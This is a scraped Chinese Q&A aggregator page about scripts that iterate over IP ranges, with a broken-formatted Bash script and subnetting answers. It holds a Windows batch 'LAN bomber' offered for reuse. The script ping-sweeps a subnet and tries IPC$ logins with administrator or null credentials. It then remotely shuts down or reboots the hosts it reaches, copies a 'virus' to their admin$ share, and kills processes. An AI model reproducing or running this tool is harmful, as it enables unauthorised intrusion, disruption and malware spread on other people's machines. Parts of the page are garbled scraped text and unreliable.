求遍历网段ip的shell脚本

作者&投稿:产霭 (若有异议请与网页底部的电邮联系)
求大神给一个shell脚本,实现脚本ip地址变换,每次输出不同的ip地址。~

先看效果:
[root@mail tmp]# ./runplayload.sh iplist.txt -s 192.168.33.34-40No such ip【192.168.33.35】 in 【iplist.txt】1--192.168.33.342--192.168.33.363--192.168.33.374--192.168.33.385--192.168.33.396--192.168.33.40[root@mail tmp]# ./runplayload.sh iplist.txt -s 192.168.33.34-192.168.33.40No such ip【192.168.33.35】 in 【iplist.txt】1--192.168.33.342--192.168.33.363--192.168.33.374--192.168.33.385--192.168.33.396--192.168.33.40[root@mail tmp]#
看一下iplist.txt文本格式
[root@mail tmp]# cat iplist.txt192.168.33.34192.168.33.36-192.168.33.40192.168.33.200192.168.33.204-210192.168.33.231脚本正文:
#!/bin/bash#------------------------------------------# Copyritht (C), 2015 gamjem@126.com# 脚本名: # 脚本位置: # 脚本用途: # 脚本修改历史:# # 老耿 2015/07/13 1.0 创建#版权: GPL#-------------------------------------------. /root/.bash_profile#定义ip个数r=6#传参 判断echo $3|grep -q "[0-9]-[0-9]"; stat=$? #这里在逻辑上应该先判断存不存在$3if [ $# -ne 3 -o "$2" != "-s" -o ${stat} -ne 0 ]; thenif [ $stat -ne 0 ];thenecho "脚本使用说明: COMMAND 文件名 -s ip范围例:sh ./run_playload.sh iplist.txt -s 192.168.33.20-50或 sh ./run_playload.sh iplist.txt -s 192.168.33.20-192.168.33.50"exitfifiif [ ! -f $1 ];thenecho "文件【$1】不存在!"exitfi#iplist.txt 文件格式转换iplist=`cat $1|awk -F'[-.]' '{ if($0~/-/){sub(/-.*$/,"",$4);for (i=$4;i$ip3 )) ;then ip_tmp=$ip2 ip2=$ip3 ip3=$ip_tmpfi#合并完整的ip,存在ip()里ip=()for i in `seq ${ip2} ${ip3}`do ipp="${ip1}.${i}" echo "${iplist}"|grep -wq "${ipp}" if [ $? -ne 0 ] ; then echo "No such ip【${ipp}】 in 【$1】" else ip=(${ip[*]} ${ipp}) fidone#判断ip()不为空的情况if [ -n "${ip[*]}" ];then#定义ip个数#r=6#判断ip取值个数,分两种情况处理 if (( ${r} <= ${#ip[@]} )); then for i in `seq ${r}` do let j=$i-1 echo "${i}--${ip[j]}" done else for ((i=0;i<${#ip[@]};i++)) dolet j=$i+1echo "${j}--${ip[i]}" done echo "WARNING: 受范围限制,未能取到完整的${r}个ip!" fifi

ipAddr=192.168.1.100echo ${ipAddr##*.}这样就提取出了100。

Bash中字符串的掐头去尾方法:
# 表示掐头,% 表示去尾
助记:键盘上# 在前面,键盘上% 在后面。
单个#或%的表示最小匹配,双个#或%表示最大匹配。也就是说,当匹配有多种方案的时候,选择匹配最大长度还是最小长度。

用awk也可以:
ifconfig eth0 | awk '/inet addr/{print $2}' | awk -F. '{print $NF}'

是可以借鉴这里面的一些东西而已,因为只要把这两段小脚本中的一些东西结合起来可以达到你的要求(Windows环境中),不是要完全的照搬,呵呵。

shell不会玩,Windows下的bat还会点... 

还有一点  要在Windows中调用linux中的shell脚本啊?

应该不可能...或者很难!

在Windows下我才能做到,不过太费时间了,给你两段现成的代码,如果你有时间有兴趣的话,可以在Windows下玩玩这代码,你有兴趣的话可以结合一下,然后再做一些修改就能达到你要的要求!

第一段:

@echo off

title 扫描在线IP

::MODE con: COLS=60 LINES=18

color 0a

::装饰。

:kaishi

cls

for /l %%i in (1,1,4) do echo.

set /p qishi= 起始IP:

set /p jieshu= 终止IP:

IF ERRORLEVEL 1 echo 错误的IP地址格式! && pause && goto kaishi

echo.

::从键盘获得两个变量的值。

for /f "tokens=1-4 delims=." %%a in ("%qishi%") do (

if %%a LSS 0 goto error_2

if %%a GTR 255 goto error_2

if %%b LSS 0 goto error_2

if %%b GTR 255 goto error_2

if %%c LSS 0 goto error_2

if %%c GTR 255 goto error_2

if %%d LSS 0 goto error_2

if %%d GTR 255 goto error_2

 set v1=%%a

 set v2=%%b

 set v3=%%c

 set v4=%%d

)

::分离起始IP的四个段并赋值,判断IP是否正确。

for /f "tokens=1-4 delims=." %%a in ("%jieshu%") do (

if %%a LSS 0 goto error_2

if %%a GTR 255 goto error_2

if %%b LSS 0 goto error_2

if %%b GTR 255 goto error_2

if %%c LSS 0 goto error_2

if %%c GTR 255 goto error_2

if %%d LSS 0 goto error_2

if %%d GTR 255 goto error_2

 set v5=%%a

 set v6=%%b

 set v7=%%c

 set v8=%%d

)

::分离终止IP的四个段并赋值,判断IP是否正确。

IF %V5% LSS %V1% echo 错误:终止IP不能小于起始IP。& pause & goto kaishi

::判断终止IP与起始IP的正确性。

IF %V4% LEQ %V8% set zengzhi_1=1

IF %V4% GEQ %V8% set zengzhi_1=-1

IF %v3% LEQ %v7% set zengzhi_2=1

IF %V3% GEQ %V7% set zengzhi_2=-1

IF %v2% LEQ %v6% set zengzhi_3=1

IF %v2% GEQ %v6% set zengzhi_3=-1

for /L %%d in (%v1%,1,%v5%) do (

for /L %%c in (%v2%,%zengzhi_3%,%v6%) do (

for /L %%b in (%v3%,%zengzhi_2%,%v7%) do (

for /L %%a in (%v4%,%zengzhi_1%,%v8%) do (

ping /n 1 %%d.%%c.%%b.%%a >nul && echo %%d.%%c.%%b.%%a OK || echo %%d.%%c.%%b.%%a ERROR

echo %%d.%%c.%%b.%%a

)

)

)

)

echo 扫描完毕!

pause & goto kaishi

:error_2

echo 错误的IP地址!

pause

goto kaishi

第二段(未编写测试完):

@echo off

setlocal enabledelayedexpansion

title Win 2k 局域网轰炸器      未完待续     ~す珹す~

color 0a

:start

echo -------------------------------------------------------------------------------

echo 收集信息中... & echo.

for /f "tokens=15" %%i in ('ipconfig ^| find /i "ip address"') do set ip=%%i

for /f "tokens=1,2,3 delims=." %%i in ('echo !ip!') do set wd=%%i.%%j.%%k

echo       你的 IP 地址是:!ip!

echo       你所在的网段是:!wd!

echo.

echo                      ---请选择扫描在线主机的扫描方式---

echo      1.ping   2.net view  3.exit  注:直接按回车键使用默认方式!  【ping测试】

set /p fs=请输入:

if "%fs%"=="" goto ping

if "%fs%"=="1" goto ping

if "%fs%"=="2" goto net view

if "%fs%"=="3" exit

cls & goto start

:ping

echo.

echo       输入需要扫描的IP范围(不需输网段)   1至255之内   结尾数不能小于起始数!

set /p qs=起始数:

set /p js=结束数:

if !qs! gtr !js! echo 起始数 不能大于 结束数! && ping 127.1 /n 2 >nul 2>nul && goto ping

echo 正在扫描 !wd!.!qs! 至 !wd!.!js! 范围内的主机在线情况...

echo -------------------------------------------------------------------------------

for /l %%i in (!qs!,1,!js!) do (

ping !wd!.%%i /n 1 >nul 2>nul && echo   !wd!.%%i    在线! && echo !wd!.%%i>>zx.txt|| echo   !wd!.%%i    离线!

)

echo --------------------------------------------------------------------------------

goto ipc$ scan

:net view

echo.

echo 此局域网内在线主机:

echo -------------------------------------------------------------------------------

FOR /F "eol=- delims=\\" %%c in ('net view') do (

FOR /F "eol=服" %%i in ('echo %%c') do (

FOR /F "eol=命" %%i in ('echo %%c') do (

echo       %%i && echo %%i>>zx.txt

  )

 )

)

echo --------------------------------------------------------------------------------

goto ipc$ scan

:ipc$ scan

echo.

echo 即将开始ipc$扫描...

echo.

if not exist zx.txt echo sorry! 此局域网中无在线主机,无法进行ipc$扫描!  正在返回主菜单... && ping 127.1 /n 5 >nul 2>nul && cls && goto start

echo      ipc$ 扫描时使用何用户?   注:直接按回车键使用默认用户!  【administrator】

echo                                   要用空用户(空链接)请输入 【null】

set /p user=请输入:

if "!user!"=="" set user=administrator

if "!user!"=="null" set user=

echo      ipc$ 扫描时使用何密码?   注:直接按回车键使用默认密码!  【空】

set /p password=请输入:

if "!password!"=="" set password=

echo.

echo 你选择的用户为:!user!

echo 你选择的密码为:!password!

ping 127.1 /n 2 >nul 2>nul

echo.

echo 正在扫描能ipc$连接的机子...

set ipc$=0

for /f %%i in ('type zx.txt') do (

echo -------------------------------------------------------------------------------

net use \\%%i\ipc$ "!password!" /user:"!user!" >nul && (

set /a ipc$=!ipc$!+1

echo 连接 %%i 成功!

echo %%i>>ipc.txt

net use \\%%i /del>nul 2>nul

) || (

echo 连接 %%i 失败!  ↑↑↑以上是错误提示! ↑↑↑

)

)

echo --------------------------------------------------------------------------------

echo                                                         按任意键进入下一步! & pause >nul

:kill

cls

for /l %%i in (1,1,9) do echo.

echo  扫描到 !ipc$! 台机器能ipc$连接成功!

for /l %%i in (1,1,3) do echo.

echo                         请问美丽的大姐您要怎么捉弄他们?

echo.

echo                  1:关了他们        2:重启他们      3:开启服务

echo                  4:传送病毒        5:弹出消息      6:关闭进程

echo.

set /p shr=   请选择:

if "!shr!"=="1" goto gj

if "!shr!"=="2" goto cq

if "!shr!"=="3" goto fw

if "!shr!"=="4" goto bd

if "!shr!"=="5" goto xx

if "!shr!"=="6" goto jc

goto kill

:gj

for /f %%i in ('type ipc.txt') do (

shutdown -m \\%%i -s -t 0

)

echo 完成!   按任意键返回主菜单!

pause>nul & goto start

:cq

for /f %%i in ('type ipc.txt') do (

shutdown -m \\%%i -r -t 0

)

echo 完成!   按任意键返回主菜单!

pause>nul & goto start

:fw

set /p fwm=请输入需要开启的服务名:

::还需检测路劲

for /f %%i in ('type ipc.txt') do (

net start \\%%i !fwm!

)

echo 完成!   按任意键返回主菜单!

pause>nul & goto start

:bd

set /p bdm=请输入要传送的病毒的路径:

for /f %%i in ('type ipc.txt') do (

copy !bdm! \\%%i\admin$

::还需开启对方计划任务服务  运行病毒

)

echo 完成!   按任意键返回主菜单!

pause>nul & goto start

:xx

set /p xx=请输入要弹出的消息:

for /f %%i in ('type ipc.txt') do (

echo 正在弹消息中...

sc \\%%i config messenger start= auto >nul 2>nul

sc \\%%i start messenger >nul 2>nul

net send %%i !xx!

)

echo 完成!   按任意键返回主菜单!

pause>nul & goto start

:jc

set /p jc=请输入需要关闭的进程名:

for /f %%i in ('type ipc.txt') do (

copy !bdm! \\%%i\admin$

taskkill /s \\%%i /f /im !jc!

)

echo 完成!   按任意键返回主菜单!

pause>nul & goto start1

pause




IP各号段代表什么意思呢?
两个ip地址,例如:192.168.1.1\/24,和 192.168.1.2\/24,网络地址相同,则这两个ip处于同一个网络,如不是同一个网络的主机之间通信必须通过设备对数据进行转发。

遍个程序循环PING本网段的所有IP
For \/l %%i in (1,1,255) do ping 192.168.1.%%i

IPBOOK该怎么用?使用iPbook对IP地址进行分段扫描的方法介绍
1、当你启动IPBook后,这款软件会自动测出本机的ip地址,计算机名。图中,会出现两个文本框如:xx.xx.xx.xx和xx.xx.xx的分别是本机的ip地址,与本网段的地址范围。2、查本网段所有机器的计算机名与共享资源。接着你再点击扫描一个网段这个按钮,过一会你会看到你的列表框内会显示本网段所有在位...

怎样实现不同网段的ip地址互联互通
不同网段的ip互通的方法:第一种方法:更改子网掩码变成同一网段 原来两个不同的子网的网段无法相互访问,在将原来的子网掩码255.255.255.0改变为255.255.254.0的子网掩码后,两者都在一个网段了,就可以相互访问了。第二种方法:需要三层交换机或者路由器 左边子网的设备以连接到的路由器的接口IP...

麻烦算一下这个网段的ip地址 子网掩码是 255.255.255.192 网关192.168...
网关是192.168.113.193 是属于第4个子网的。第4个子网地址是192.168.113.192 可以用的主机范围192.168.113.193~192.168.113.254 网关已经用193 ,就从194 开始。

...例如 192.168.204.0\/24 这个表示的是全网段的ip扫描吗??
24代表网络掩码,这里面192.168.204.0\/24代表192.168.204.0-192.168.204.255区间的所有IP地址。

如何查找当前网段下的所有ip地址
问题描述:在没有后台管理页面的时候,如何知道当前网段下连接所有连接设备的ip地址?系统环境:windows 使用工具:cmd 在命令提示符中,输入命令 我们的思路是对当前网段10.21.39.*中每一个ip地址(10.21.39.1~10.21.39.254)进行ping操作。cmd里面也是可以进行for循环语句的操作的。使用命令:

用192.168.9.0\/24网段进行ip地址的设定,有生产部、开发部、销售部...
生产部 192.168.9.129\/25 开发部 192.168.9.65\/26 销售部 192.168.9.33\/27 财务部 192.168.9.17\/28 经理室 192.168.9.9\/29 总裁办 192.168.9.1\/29 符合你的要求吗?

192.168.1划分4个子网,写出每个网段的具体IP?
如果将IP地址段192.168.1.0\/24划分为4个子网,每个子网的主机数要求相等,可以使用子网掩码将IP地址划分为不同的子网。在这种情况下,可以使用子网掩码255.255.255.192,这可以提供4个子网,每个子网最多可以支持62个主机。具体IP地址如下:子网1: 192.168.1.0\/26 可用IP地址范围: 192.168.1....

不同网段的IP一样吗
不一样,在局域网中每台电脑的IP都不同,IP冲突不能上网。但从外网看,整个局域网络主机地址的IP是一样的。常用的有IPV4和IPV6两种。IP网络使用32位地址,以点分十进制表示,如192.168.0.1。地址格式为:IP地址=网络地址+主机地址或 IP地址=网络地址+子网地址+主机地址。网络地址是因特网协会的...

新干县19120662326: 求遍历网段ip的shell脚本 -
茅呼妇必: 是可以借鉴这里面的一些东西而已,因为只要把这两段小脚本中的一些东西结合起来可以达到你的要求(Windows环境中),不是要完全的照搬,呵呵.shell不会玩,Windows下的bat还会点... 还有一点 要在Windows中调用linux中的shell脚本啊...

新干县19120662326: shell 脚本获得当前 ip地址 -
茅呼妇必: bin=$(ifconfig | awk -F'addr:|Bcast' '/Bcast/{print $2}')

新干县19120662326: shell脚本修改集群IP -
茅呼妇必: 程序逻辑有问题.你的想法是将10.255.0.11改成11.11.11.14,10.255.0.12改成11.11.11.15,但是你的脚本是在每一台服务器上都遍历了11.11.11.14~15,最后修改成的ip(11.11.11.15)才是生效的,之前的修改都被后面的修改覆盖了.正确的写法...

新干县19120662326: 如何遍历ip地址 -
茅呼妇必: 小脚本中的一些东西结合起来可以达到你的要求(Windows环境中),不是要完全的照搬,呵呵.shell不会玩,Windows下的bat还会点... 还有一点 要在Windows中调用linux中的shell脚本啊?应该不可能...或者很难!在Windows下我才能做到,...

新干县19120662326: shell脚本配置IP -
茅呼妇必: 你编辑的是ifcfg-eth2,怎么写进去的Device是eth0??我是6.5的测试系统,执行之后可以正常启动,不过报错是针对/etc/init.d/network这个脚本的./IP_eth0.sh 104/etc/init.d/network: line 184: command not found/etc/init.d/network: line 184: 33...

新干县19120662326: 用perl脚本实现如下功能:自动获得某一个域名的所有ip地址 并把这个ip的c段添加到iptables里面 -
茅呼妇必: 这个也不算困难吧,现成的代码没有.思路还是有的.用system调用dig命令获取域名的信息如果直接是A记录的话,过滤出IP来就好了.如果是cname记录那么继续dig.这个在cpan上应该也有相应的模块.然后是使用你得到的IP地址来写相应的iptables.其实用shell来做这个事情更好吧

新干县19120662326: shell脚本怎么以ip为条件循环调用telnet指令进行网络测试 -
茅呼妇必: IP放入文件,每行一条 for i in `cat ip.txt` do echo $i#do your telnet test done

新干县19120662326: 写shell脚本 批量ping ip 将结果输出到可读文件中 -
茅呼妇必: 这个不需要写脚本吧?直接一个ping命令就可以了 ping -c 5 "hostname" >> filename 2>&1

新干县19120662326: 想写个shell脚本来自动配置ip,子网掩码和网关 -
茅呼妇必: 测试了下还可以,没有写条件判断,根据情况自己再修改下123456789101112131415 #!/bin/bash hwaddr=`ifconfig|grepHWaddr |awk'{print $5}'` echo"DEVICE=$1 HWADDR=$hwaddr TYPE=Ethernet ONBOOT=yes NM_CONTROLLED=yes BOOTPROTO=static IPADDR=$2 NETMASK=$3 GATEWAY=$4" > /etc/sysconfig/network-scripts/ifcfg-$1 /etc/init.d/networkrestart

新干县19120662326: shell 检查到本机 存在 192.168.1.100 IP时就执行 /roo/1.sh 脚本,每秒检查1次 -
茅呼妇必: #!/bin/bash while true do ping -c 1 192.168.1.100 > /dev/null 2>&1 if !(($?));then/roo/1.sh fi sleep 1 done

本站内容来自于网友发表,不代表本站立场,仅表示其个人看法,不对其真实性、正确性、有效性作任何的担保
相关事宜请发邮件给我们
© 星空见康网